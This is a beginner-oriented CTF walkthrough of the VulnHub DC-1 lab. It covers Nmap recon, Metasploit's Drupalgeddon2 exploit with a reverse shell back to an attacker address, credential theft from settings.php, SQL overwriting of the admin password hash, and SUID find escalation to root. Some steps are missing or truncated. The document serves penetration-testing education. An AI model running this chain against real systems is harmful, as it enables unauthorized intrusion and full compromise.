DC-1 VulnHub Walkthrough:

A beginner-friendly penetration testing walkthrough of the DC-1 boot2root machine

Here is the link : https://www.vulnhub.com/entry/dc-1,292/

Introduction

DC-1 is the first machine in the popular DC series on VulnHub, designed for people who are new to penetration testing. It runs a vulnerable version of Drupal CMS, and the goal is simple: gain root access and collect a series of flags along the way.

Let’s Begin

Step 1: Network Scanning with Nmap

The first step in any penetration test is reconnaissance. I used Nmap to discover the target machine on the network and identify open ports and running services.

nmap -sV 192.168.1.6

The scan revealed the following open ports:

• 22/tcp — OpenSSH 6.0p1 (Debian)
• 80/tcp — Apache httpd 2.2.22, hosting a Drupal site
• 111/tcp — rpcbind
• 57480/tcp — status (RPC)

The most interesting finding here is port 80 running Drupal. Since Drupal has had several major vulnerabilities disclosed over the years, this immediately became the primary target.

Step 2: Identifying the Application

Visiting the target in a browser confirmed it was a default Drupal installation, with a login form and no content published yet.

Knowing the exact CMS and being able to fingerprint its version is critical — this is what allows us to look for a matching public exploit instead of guessing blindly.

Step 3: Finding the Right Exploit — Drupalgeddon2

Rather than manually probing for vulnerabilities, I used Metasploit to search for known Drupal exploits.

msfconsole -q
search drupal

This returned a list of modules, and the one that stood out was:

exploit/unix/webapp/drupal_drupalgeddon2

This corresponds to CVE-2018–7600, famously known as Drupalgeddon2 — a remote code execution vulnerability affecting Drupal 7.x and 8.x. It’s a great real-world example of how a single unauthenticated RCE can fully compromise a CMS.

Step 4: Configuring and Running the Exploit

After selecting the module, I set the required options — primarily the target host (RHOSTS) and my local listening address (LHOST) for the reverse shell payload.

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.1.6
set LHOST <your_attacker_ip>
options

With everything configured, it was time to run the exploit:

run

This returned a Meterpreter session, which I dropped into a system shell:

shell
id

The output confirmed access as www-data — the Apache web server user. We're in, but not as root yet.

Step 5: Finding the First Flag

With shell access established, the next step was basic enumeration of the web root.

cd /var/www/
ls
cat flag1.txt

flag1.txt contained a hint:

“Every good CMS needs a config file — and so do you.”

This is a direct pointer toward Drupal’s configuration file, which typically stores database credentials.

Step 6: Extracting Database Credentials

Following the hint, I navigated to Drupal’s default configuration path and read settings.php.

cd sites/default
cat settings.php

Inside settings.php, the database connection array revealed working MySQL credentials:

This is a great reminder of why flag2 (found alongside this step) hints that brute force and dictionary attacks aren’t the only way in — sometimes credentials are sitting in plain text in a config file you already have access to.

Step 7: Logging into MySQL and Dumping User Hashes

With valid database credentials in hand, I connected directly to MySQL

mysql -u dbuser -p

Once inside, I enumerated the available databases and tables:

show databases;
use drupaldb;
show tables;

The users table was the obvious target, since it stores Drupal's authentication data:

SELECT * FROM users;

This returned the admin and fred accounts, along with their hashed passwords (Drupal’s salted SHA-512 format, $S$...). At this stage, cracking these hashes offline with John the Ripper or Hashcat is one option — but Drupal actually gives us a much faster route.

Step 8: Generating a Valid Drupal Hash and Updating the Admin Password

Drupal ships with a built-in script, password-hash.sh, located in its scripts/ directory. This script takes any plain-text string and generates a properly salted hash using the exact same hashing algorithm Drupal uses internally. In other words, instead of cracking the existing hash, we can generate our own valid hash for a password we choose — and simply swap it into the database.

cd /var/www
php scripts/password-hash.sh password123

This returned a freshly generated hash for the password password123. With that hash in hand, I went back into the MySQL session and updated the admin account's password field directly:

update users SET pass='$S$DHgFI80NxVKOuMuJRQHaESmghJuHOJC2j1ddU8mzc8LNkYqDcwjl' WHere uid=1;

The query confirmed 1 row affected, meaning the admin account’s password was successfully overwritten — without ever needing to know or crack the original hash.

This is actually the intended technique for DC-1, and it’s a great real-world lesson: if you can write to a CMS’s database (whether through SQL injection, exposed credentials, or direct access), you don’t need to crack a password hash at all — you can simply generate a new one in the application’s own format and overwrite it.

Step 9: Logging in as Admin

With the password reset, I logged into the Drupal site using:

Username: admin
Password: password123

This dropped me straight into the Drupal admin dashboard, fully authenticated as admin — confirming the password change had worked. From an admin account on Drupal, an attacker could go even further (e.g., editing PHP code through a module, or using the PHP filter module to execute arbitrary commands directly from the web interface) — though in our case, we already had a working reverse shell from Drupalgeddon2, so this step was primarily about demonstrating the credential-manipulation technique.

Step 11: Finding Flag4 — and a Bigger Challenge

Continuing enumeration of the home directories led to another flag.

cd /home/flag4
ls
cat flag4.txt

flag4 posed a direct challenge:

“Can you use this same method to find or access the flag in root? Probably. But perhaps it’s not that easy. Or maybe it is?”

This was the clear signal that the final step required privilege escalation — getting from www-data to root.

Step 12: Privilege Escalation to Root

To get a more stable shell for the next steps, I first upgraded from the limited reverse shell to a proper TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")

Then I checked which binaries had elevated execution permissions using find, which on DC-1 has the SUID bit set and can be abused to spawn a root shell:

cd /tmp
touch DC1
find DC1 -exec /bin/sh \; -quit

Because find was configured with SUID permissions, the -exec flag spawned a shell running with root privileges. A quick whoami confirmed it:

whoami
root

This is a textbook example of how misconfigured SUID binaries can completely bypass normal permission controls on Linux.

Step 13: Capturing the Final Flag

With root access secured, the final step was simply navigating to /root and reading the last flag.

cd /root
ls
cat thefinalflag.txt

The final flag read:

“Well done!!!! Hopefully you’ve enjoyed this and learned some new skills.”

And with that, DC-1 was fully rooted.

Summary

Here’s a quick recap of the full attack chain on DC-1:

1. Reconnaissance — Nmap revealed Drupal running on port 80.
2. Exploitation — Used Metasploit’s Drupalgeddon2 module (CVE-2018–7600) to gain a www-data shell.
3. Local enumeration — Found flag1.txt, pointing to Drupal's config file.
4. Credential discovery — Extracted MySQL credentials from settings.php.
5. Database access — Logged into MySQL and dumped the users table.
6. Credential manipulation — Used Drupal’s own password-hash.sh script to generate a valid hash and overwrote the admin password directly in the database, then logged into the Drupal admin panel.
7. Privilege escalation — Abused a SUID find binary to escalate from www-data to root.
8. Root — Captured the final flag.

DC-1 is an excellent machine for anyone starting their penetration testing journey. It nicely ties together web application exploitation, credential hunting, and Linux privilege escalation in one cohesive chain — without requiring advanced binary exploitation skills.